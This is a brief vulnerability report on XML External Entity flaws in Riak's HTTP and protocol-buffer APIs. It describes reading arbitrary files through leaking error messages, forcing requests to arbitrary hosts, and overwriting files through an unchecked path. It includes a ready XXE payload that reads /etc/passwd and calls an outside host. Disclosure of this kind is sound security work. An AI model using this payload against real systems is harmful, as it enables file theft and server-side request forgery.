XML External Entity attack
1. if HTTP API is exposed:
- read any file on the system — via /search/extract, the error message leaks
file content;
- send HTTP «GET /» request to any host — by PUT/POSTing text/xml document,
or via /search/extract. This is also likely riak DoS if the host is
attacker-controlled.
2. if PB API is exposed
- send HTTP «GET /» request to any host — by PUT/POST, see above.
Example request:
<?xml version="1.0"?>
<!DOCTYPE meow [
<!ENTITY xxe2 SYSTEM "/etc/passwd">
<!ENTITY xxe1 SYSTEM "http://host/ping-me">
]>
<meow>&xxe1;</meow>
It doesn't check user-provided path in any way. This allows overriding any file on the system with riak permissions.
